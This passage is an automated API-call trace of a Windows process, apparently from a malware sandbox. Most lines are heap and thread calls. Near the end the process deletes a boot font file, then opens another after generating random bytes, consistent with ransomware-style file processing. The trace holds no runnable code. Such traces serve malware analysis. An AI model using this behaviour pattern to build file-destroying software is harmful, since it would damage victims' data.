GetLastError () returned 0x0 [0116.403] GetCurrentThreadId () returned 0x9b0 [0116.403] GetLastError () returned 0x0 [0116.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.403] GetCurrentThreadId () returned 0x9b0 [0116.403] GetLastError () returned 0x0 [0116.404] GetLastError () returned 0x0 [0116.404] GetLastError () returned 0x0 [0116.404] GetLastError () returned 0x0 [0116.404] GetCurrentThreadId () returned 0x9b0 [0116.404] GetLastError () returned 0x0 [0116.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0116.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0116.404] GetLastError () returned 0x0 [0116.406] GetLastError () returned 0x0 [0116.406] GetCurrentThreadId () returned 0x9b0 [0116.406] GetLastError () returned 0x0 [0116.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.406] GetLastError () returned 0x0 [0116.406] GetLastError () returned 0x0 [0116.406] GetCurrentThreadId () returned 0x9b0 [0116.406] GetLastError () returned 0x0 [0116.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.407] GetCurrentThreadId () returned 0x9b0 [0116.407] GetLastError () returned 0x0 [0116.407] GetLastError () returned 0x0 [0116.407] GetLastError () returned 0x0 [0116.407] GetLastError () returned 0x0 [0116.407] GetCurrentThreadId () returned 0x9b0 [0116.408] GetLastError () returned 0x0 [0116.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.408] GetLastError () returned 0x0 [0116.409] GetLastError () returned 0x0 [0116.409] GetCurrentThreadId () returned 0x9b0 [0116.409] GetLastError () returned 0x0 [0116.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.410] GetLastError () returned 0x0 [0116.411] GetLastError () returned 0x0 [0116.411] GetCurrentThreadId () returned 0x9b0 [0116.411] GetLastError () returned 0x0 [0116.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.412] GetLastError () returned 0x0 [0116.412] GetLastError () returned 0x0 [0116.412] GetLastError () returned 0x0 [0116.412] GetLastError () returned 0x0 [0116.413] GetCurrentThreadId () returned 0x9b0 [0116.413] GetLastError () returned 0x0 [0116.413] GetCurrentThreadId () returned 0x9b0 [0116.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0116.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0116.413] GetLastError () returned 0x0 [0116.414] GetLastError () returned 0x0 [0116.414] GetCurrentThreadId () returned 0x9b0 [0116.414] GetLastError () returned 0x0 [0116.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.415] GetLastError () returned 0x0 [0116.415] GetLastError () returned 0x0 [0116.415] GetCurrentThreadId () returned 0x9b0 [0116.415] GetLastError () returned 0x0 [0116.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0116.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.416] GetLastError () returned 0x0 [0116.416] GetLastError () returned 0x0 [0116.416] GetLastError () returned 0x0 [0116.416] GetLastError () returned 0x0 [0116.416] GetCurrentThreadId () returned 0x9b0 [0116.416] GetLastError () returned 0x0 [0116.416] GetCurrentThreadId () returned 0x9b0 [0116.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.417] GetLastError () returned 0x0 [0116.418] GetLastError () returned 0x0 [0116.419] GetCurrentThreadId () returned 0x9b0 [0116.419] GetLastError () returned 0x0 [0116.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.419] GetLastError () returned 0x0 [0116.420] GetLastError () returned 0x0 [0116.420] GetCurrentThreadId () returned 0x9b0 [0116.420] GetLastError () returned 0x0 [0116.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.421] GetLastError () returned 0x0 [0116.421] GetLastError () returned 0x0 [0116.421] GetLastError () returned 0x0 [0116.421] GetLastError () returned 0x0 [0116.421] GetCurrentThreadId () returned 0x9b0 [0116.421] GetLastError () returned 0x0 [0116.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0116.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0116.422] GetLastError () returned 0x0 [0116.423] GetLastError () returned 0x0 [0116.423] GetCurrentThreadId () returned 0x9b0 [0116.423] GetLastError () returned 0x0 [0116.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.423] GetLastError () returned 0x0 [0116.424] GetLastError () returned 0x0 [0116.424] GetCurrentThreadId () returned 0x9b0 [0116.424] GetLastError () returned 0x0 [0116.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.424] GetCurrentThreadId () returned 0x9b0 [0116.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.424] GetLastError () returned 0x0 [0116.425] GetLastError () returned 0x0 [0116.425] GetLastError () returned 0x0 [0116.425] GetLastError () returned 0x0 [0116.425] GetCurrentThreadId () returned 0x9b0 [0116.425] GetLastError () returned 0x0 [0116.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0116.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0116.425] GetLastError () returned 0x0 [0116.426] GetLastError () returned 0x0 [0116.427] GetCurrentThreadId () returned 0x9b0 [0116.427] GetLastError () returned 0x0 [0116.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.427] GetLastError () returned 0x0 [0116.429] GetLastError () returned 0x0 [0116.429] GetCurrentThreadId () returned 0x9b0 [0116.429] GetCurrentThreadId () returned 0x9b0 [0116.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.429] GetCurrentThreadId () returned 0x9b0 [0116.595] GetCurrentThreadId () returned 0x9b0 [0116.595] GetCurrentThreadId () returned 0x9b0 [0116.596] GetCurrentThreadId () returned 0x9b0 [0116.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.597] GetCurrentThreadId () returned 0x9b0 [0116.599] GetCurrentThreadId () returned 0x9b0 [0116.600] GetCurrentThreadId () returned 0x9b0 [0116.601] GetCurrentThreadId () returned 0x9b0 [0116.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.601] GetCurrentThreadId () returned 0x9b0 [0116.603] GetCurrentThreadId () returned 0x9b0 [0116.603] GetCurrentThreadId () returned 0x9b0 [0116.603] GetCurrentThreadId () returned 0x9b0 [0116.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.604] GetCurrentThreadId () returned 0x9b0 [0116.606] GetCurrentThreadId () returned 0x9b0 [0116.608] GetCurrentThreadId () returned 0x9b0 [0116.609] GetCurrentThreadId () returned 0x9b0 [0116.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.610] GetCurrentThreadId () returned 0x9b0 [0116.611] GetCurrentThreadId () returned 0x9b0 [0116.612] GetCurrentThreadId () returned 0x9b0 [0116.612] GetCurrentThreadId () returned 0x9b0 [0116.612] GetCurrentThreadId () returned 0x9b0 [0116.614] GetCurrentThreadId () returned 0x9b0 [0116.616] GetCurrentThreadId () returned 0x9b0 [0116.616] GetCurrentThreadId () returned 0x9b0 [0116.616] GetCurrentThreadId () returned 0x9b0 [0116.618] GetCurrentThreadId () returned 0x9b0 [0116.618] GetCurrentThreadId () returned 0x9b0 [0116.618] GetCurrentThreadId () returned 0x9b0 [0116.619] GetCurrentThreadId () returned 0x9b0 [0116.621] GetCurrentThreadId () returned 0x9b0 [0116.623] GetCurrentThreadId () returned 0x9b0 [0116.623] GetCurrentThreadId () returned 0x9b0 [0116.623] GetCurrentThreadId () returned 0x9b0 [0116.626] GetCurrentThreadId () returned 0x9b0 [0116.634] GetCurrentThreadId () returned 0x9b0 [0116.634] GetCurrentThreadId () returned 0x9b0 [0116.635] GetCurrentThreadId () returned 0x9b0 [0116.640] GetCurrentThreadId () returned 0x9b0 [0116.641] GetCurrentThreadId () returned 0x9b0 [0116.641] GetCurrentThreadId () returned 0x9b0 [0116.642] GetCurrentThreadId () returned 0x9b0 [0116.643] GetCurrentThreadId () returned 0x9b0 [0116.643] GetCurrentThreadId () returned 0x9b0 [0116.643] GetCurrentThreadId () returned 0x9b0 [0116.643] GetCurrentThreadId () returned 0x9b0 [0116.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0116.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0116.645] GetCurrentThreadId () returned 0x9b0 [0116.647] GetCurrentThreadId () returned 0x9b0 [0116.647] GetCurrentThreadId () returned 0x9b0 [0116.648] GetCurrentThreadId () returned 0x9b0 [0116.648] GetCurrentThreadId () returned 0x9b0 [0116.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.649] GetCurrentThreadId () returned 0x9b0 [0116.649] GetCurrentThreadId () returned 0x9b0 [0116.651] GetCurrentThreadId () returned 0x9b0 [0116.652] GetCurrentThreadId () returned 0x9b0 [0116.652] GetCurrentThreadId () returned 0x9b0 [0116.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.653] GetCurrentThreadId () returned 0x9b0 [0116.654] GetCurrentThreadId () returned 0x9b0 [0116.654] GetCurrentThreadId () returned 0x9b0 [0116.655] GetCurrentThreadId () returned 0x9b0 [0116.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.655] GetCurrentThreadId () returned 0x9b0 [0116.656] GetCurrentThreadId () returned 0x9b0 [0116.658] GetCurrentThreadId () returned 0x9b0 [0116.658] GetCurrentThreadId () returned 0x9b0 [0116.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.659] GetCurrentThreadId () returned 0x9b0 [0116.660] GetCurrentThreadId () returned 0x9b0 [0116.660] GetCurrentThreadId () returned 0x9b0 [0116.660] GetCurrentThreadId () returned 0x9b0 [0116.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.661] GetCurrentThreadId () returned 0x9b0 [0116.662] GetCurrentThreadId () returned 0x9b0 [0116.664] GetCurrentThreadId () returned 0x9b0 [0116.664] GetCurrentThreadId () returned 0x9b0 [0116.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.664] GetCurrentThreadId () returned 0x9b0 [0116.665] GetCurrentThreadId () returned 0x9b0 [0116.666] GetCurrentThreadId () returned 0x9b0 [0116.666] GetCurrentThreadId () returned 0x9b0 [0116.666] GetCurrentThreadId () returned 0x9b0 [0116.668] GetCurrentThreadId () returned 0x9b0 [0116.669] GetCurrentThreadId () returned 0x9b0 [0116.670] GetCurrentThreadId () returned 0x9b0 [0116.670] GetCurrentThreadId () returned 0x9b0 [0116.671] GetCurrentThreadId () returned 0x9b0 [0116.671] GetCurrentThreadId () returned 0x9b0 [0116.671] GetCurrentThreadId () returned 0x9b0 [0116.672] GetCurrentThreadId () returned 0x9b0 [0116.674] GetCurrentThreadId () returned 0x9b0 [0116.675] GetCurrentThreadId () returned 0x9b0 [0116.675] GetCurrentThreadId () returned 0x9b0 [0116.675] GetCurrentThreadId () returned 0x9b0 [0116.677] GetCurrentThreadId () returned 0x9b0 [0116.677] GetCurrentThreadId () returned 0x9b0 [0116.677] GetCurrentThreadId () returned 0x9b0 [0116.677] GetCurrentThreadId () returned 0x9b0 [0116.678] GetCurrentThreadId () returned 0x9b0 [0116.680] GetCurrentThreadId () returned 0x9b0 [0116.680] GetCurrentThreadId () returned 0x9b0 [0116.681] GetCurrentThreadId () returned 0x9b0 [0116.682] GetCurrentThreadId () returned 0x9b0 [0116.690] GetCurrentThreadId () returned 0x9b0 [0116.691] GetCurrentThreadId () returned 0x9b0 [0116.691] GetCurrentThreadId () returned 0x9b0 [0116.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0116.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0116.695] GetCurrentThreadId () returned 0x9b0 [0116.697] GetCurrentThreadId () returned 0x9b0 [0116.697] GetCurrentThreadId () returned 0x9b0 [0116.697] GetCurrentThreadId () returned 0x9b0 [0116.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0116.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0116.699] GetCurrentThreadId () returned 0x9b0 [0116.700] GetCurrentThreadId () returned 0x9b0 [0116.700] GetCurrentThreadId () returned 0x9b0 [0116.701] GetCurrentThreadId () returned 0x9b0 [0116.703] GetCurrentThreadId () returned 0x9b0 [0116.703] GetCurrentThreadId () returned 0x9b0 [0116.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0116.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.704] GetCurrentThreadId () returned 0x9b0 [0116.705] GetCurrentThreadId () returned 0x9b0 [0116.705] GetCurrentThreadId () returned 0x9b0 [0116.705] GetCurrentThreadId () returned 0x9b0 [0116.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ac8 [0116.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.706] GetCurrentThreadId () returned 0x9b0 [0116.707] GetCurrentThreadId () returned 0x9b0 [0116.709] GetCurrentThreadId () returned 0x9b0 [0116.709] GetCurrentThreadId () returned 0x9b0 [0116.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.709] GetCurrentThreadId () returned 0x9b0 [0116.710] GetCurrentThreadId () returned 0x9b0 [0116.711] GetCurrentThreadId () returned 0x9b0 [0116.711] GetCurrentThreadId () returned 0x9b0 [0116.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.711] GetCurrentThreadId () returned 0x9b0 [0116.712] GetCurrentThreadId () returned 0x9b0 [0116.713] GetCurrentThreadId () returned 0x9b0 [0116.713] GetCurrentThreadId () returned 0x9b0 [0116.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.714] GetCurrentThreadId () returned 0x9b0 [0116.715] GetCurrentThreadId () returned 0x9b0 [0116.715] GetCurrentThreadId () returned 0x9b0 [0116.715] GetCurrentThreadId () returned 0x9b0 [0116.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.716] GetCurrentThreadId () returned 0x9b0 [0116.718] GetCurrentThreadId () returned 0x9b0 [0116.718] GetCurrentThreadId () returned 0x9b0 [0116.718] GetCurrentThreadId () returned 0x9b0 [0116.718] GetCurrentThreadId () returned 0x9b0 [0116.720] GetCurrentThreadId () returned 0x9b0 [0116.720] GetCurrentThreadId () returned 0x9b0 [0116.720] GetCurrentThreadId () returned 0x9b0 [0116.720] GetCurrentThreadId () returned 0x9b0 [0116.722] GetCurrentThreadId () returned 0x9b0 [0116.722] GetCurrentThreadId () returned 0x9b0 [0116.722] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2e1f) returned 0x36f8548 [0116.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.722] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2e25) returned 0x36f8548 [0116.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0116.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2e28) returned 0x35b89d8 [0116.722] GetCurrentThreadId () returned 0x9b0 [0116.722] GetCurrentThreadId () returned 0x9b0 [0116.723] GetCurrentThreadId () returned 0x9b0 [0116.723] GetCurrentThreadId () returned 0x9b0 [0116.723] CloseHandle (hObject=0x3ac) returned 1 [0116.723] GetCurrentThreadId () returned 0x9b0 [0116.723] CloseHandle (hObject=0x39c) returned 1 [0116.724] GetCurrentThreadId () returned 0x9b0 [0116.724] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0116.724] GetCurrentThreadId () returned 0x9b0 [0116.724] GetCurrentThreadId () returned 0x9b0 [0116.724] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\jpn_boot.ttf", lpFilePart=0x9bada4*="jpn_boot.ttf") returned 0x1a [0116.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0116.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0116.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0116.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0116.725] GetCurrentThreadId () returned 0x9b0 [0116.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0116.725] GetCurrentThreadId () returned 0x9b0 [0116.725] GetCurrentThreadId () returned 0x9b0 [0116.725] GetCurrentThreadId () returned 0x9b0 [0116.726] GetCurrentThreadId () returned 0x9b0 [0116.726] GetCurrentThreadId () returned 0x9b0 [0116.726] GetCurrentThreadId () returned 0x9b0 [0116.726] GetCurrentThreadId () returned 0x9b0 [0116.726] GetCurrentThreadId () returned 0x9b0 [0116.726] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b)) returned 1 [0116.726] GetCurrentThreadId () returned 0x9b0 [0116.726] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0116.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0116.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0116.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0116.727] GetCurrentThreadId () returned 0x9b0 [0116.727] GetCurrentThreadId () returned 0x9b0 [0116.727] GetCurrentThreadId () returned 0x9b0 [0116.727] GetCurrentThreadId () returned 0x9b0 [0116.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0116.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6aa8 [0116.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0116.728] CreateFileA (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0116.728] GetFileType (hFile=0x39c) returned 0x1 [0116.728] GetCurrentThreadId () returned 0x9b0 [0116.728] GetFileType (hFile=0x39c) returned 0x1 [0116.728] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0116.728] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.728] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.728] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.728] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.729] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.729] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.729] GetLastError () returned 0x0 [0116.729] GetCurrentThreadId () returned 0x9b0 [0116.729] GetLastError () returned 0x0 [0116.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0116.729] GetLastError () returned 0x0 [0116.729] GetLastError () returned 0x0 [0116.730] GetLastError () returned 0x0 [0116.730] GetLastError () returned 0x0 [0116.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0116.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69f8 [0116.730] GetLastError 